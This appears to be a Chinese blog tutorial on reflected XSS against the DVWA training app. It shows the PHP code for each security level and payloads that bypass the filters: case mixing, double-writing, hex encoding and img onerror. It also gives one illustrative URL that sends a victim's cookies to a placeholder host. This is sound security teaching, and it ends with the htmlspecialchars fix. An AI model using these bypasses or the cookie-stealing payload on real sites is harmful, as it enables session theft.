Web安全学习之——基于dvwa的XSS (Reflecte)学习教程

什么是XSS?

XSS,全称Cross Site Scripting(为了与CSS区分开来故称为XSS),即跨站脚本攻击,某种意义上也是一种注入攻击,是指攻击者在页面中注入恶意的脚本代码,当受害者访问该页面时,恶意代码会在其浏览器上执行,需要强调的是,XSS不仅仅限于JavaScript,还包括flash等其它脚本语言。根据恶意代码是否存储在服务器中,XSS可以分为存储型的XSS与反射型的XSS。

DOM型的XSS由于其特殊性,常常被分为第三种,这是一种基于DOM树的XSS。例如服务器端经常使用document.boby.innerHtml等函数动态生成html页面,如果这些函数在引用某些变量时没有进行过滤或检查,就会产生DOM型的XSS。DOM型XSS可能是存储型,也有可能是反射型。

这里我们先讲Reflecte类型的:

基于反射的XSS攻击,主要依靠站点服务端返回脚本,在客户端触发执行从而发起Web攻击。

例子:

1. 做个假设,当淘宝在搜索东西,搜不到东西的时候显示提交的名称。

2. 在搜索框搜索内容,填入“<script>alert('handsome boy')</script>”, 点击搜索。

3. 当前端页面没有对返回的数据进行过滤,直接显示在页面上, 这时就会alert那个字符串出来。

4. 进而可以构造获取用户cookies的地址,通过QQ群或者垃圾邮件,来让其他人点击这个地址:

http://www.taobao.com/search?name=<script>document.location='http://xxx/get?cookie='+document.cookie</script>

注:这个地址是没效的,只是举例子而已。

结论:

如果只是1、2、3步做成功,那也只是自己折腾自己而已,如果第4步能做成功,才是个像样的XSS攻击。

下面我们将基于DVWA平台进行学习分析:

Low Level

先查看服务器端的核心代码:

<?php 

header ("X-XSS-Protection: 0"); 

// Is there any input? 
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { 
    // Feedback for end user 
    echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>'; 
} 

?> 

分析可知:
代码直接引用了name参数,并没有任何的过滤与检查,存在明显的XSS漏洞。
输入

<script>alert('xss')</script>

成功弹框:
在这里插入图片描述
Medium
服务器端核心代码

<?php 

header ("X-XSS-Protection: 0"); 

// Is there any input? 
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { 
    // Get input 
    $name = str_replace( '<script>', '', $_GET[ 'name' ] ); 

    // Feedback for end user 
    echo "<pre>Hello ${name}</pre>"; 
} 

?> 

分析代码:
这里对输入进行了过滤,使用str_replace函数将输入中的<script>删除,这种防护机制是可以被轻松绕过的。这里分享两个方法:

1.大小写混合绕过XSS规则

<ScriPt>alert('xSs')</scRipT>

成功弹窗

2.双写绕过

输入<sc<script>ript>alert(/xss/)</script>,成功弹框
在这里插入图片描述

还有一种是这里没有提到的防护,magic_quotes_gpc把特殊字符转义,导致<script>alert('xss')</script>失效
绕过绕过magic_quotes_gpc的方法
使用工具对<script>alert('xss')</script>进行转码,工具可以是火狐浏览器中的hackbar插件或者是在线转换工具
如图:
在这里插入图片描述
点击convert
在这里插入图片描述
得到3c 73 63 72 69 70 74 3e 61 6c 65 72 74 28 27 78 73 73 27 29 3c 2f 73 63 72 69 70 74 3e 输入即可

High level

先看看源代码

<?php 

header ("X-XSS-Protection: 0"); 

// Is there any input? 
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { 
    // Get input 
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] ); 

    // Feedback for end user 
    echo "<pre>Hello ${name}</pre>"; 
} 

?> 

分析代码:
High级别的代码同样使用黑名单过滤输入,preg_replace() 函数用于正则表达式的搜索和替换,这使得双写绕过、大小写混淆绕过(正则表达式中i表示不区分大小写)不再有效。
preg_replace() 函数用法

mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [ ] )
搜索 subject 中匹配 pattern 的部分, 以 replacement 进行替换。
参数说明:

$pattern: 要搜索的模式,可以是字符串或一个字符串数组。

$replacement: 用于替换的字符串或字符串数组。

$subject: 要搜索替换的目标字符串或字符串数组。

解决方法:

虽然无法使用<script>标签注入XSS代码,但是可以通过img、body等标签的事件或者iframe等标签的src注入恶意的js代码。
输入<img src=1 onerror=alert(/xss/)>,成功弹框
注:
onerror 事件会在文档或图像加载过程中发生错误时被触发。
在装载文档或图像的过程中如果发生了错误,就会调用该事件句柄。
在这里插入图片描述

Impossible level

先看看代码:

<?php 

// Is there any input? 
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { 
    // Check Anti-CSRF token 
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); 

    // Get input 
    $name = htmlspecialchars( $_GET[ 'name' ] ); 

    // Feedback for end user 
    echo "<pre>Hello ${name}</pre>"; 
} 

// Generate Anti-CSRF token 
generateSessionToken(); 

?> 

PHP htmlspecialchars()函数
把预定义的字符转换为HTML实体:

& (和号)成为 &amp;
" (双引号)成为 &quot; 
' (单引号)成为 &apos;//生效需要加 ENT_QUOTES 参数
< (小于)成为 &lt;
> (大于)成为 &gt;

可以看到,Impossible Security Level的代码使用htmlspecialchars函数把预定义的字符:

& " ' < >

转换为HTML实体,防止浏览器将其作为HTML元素。从而防治了反射型XSS利用和危害。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值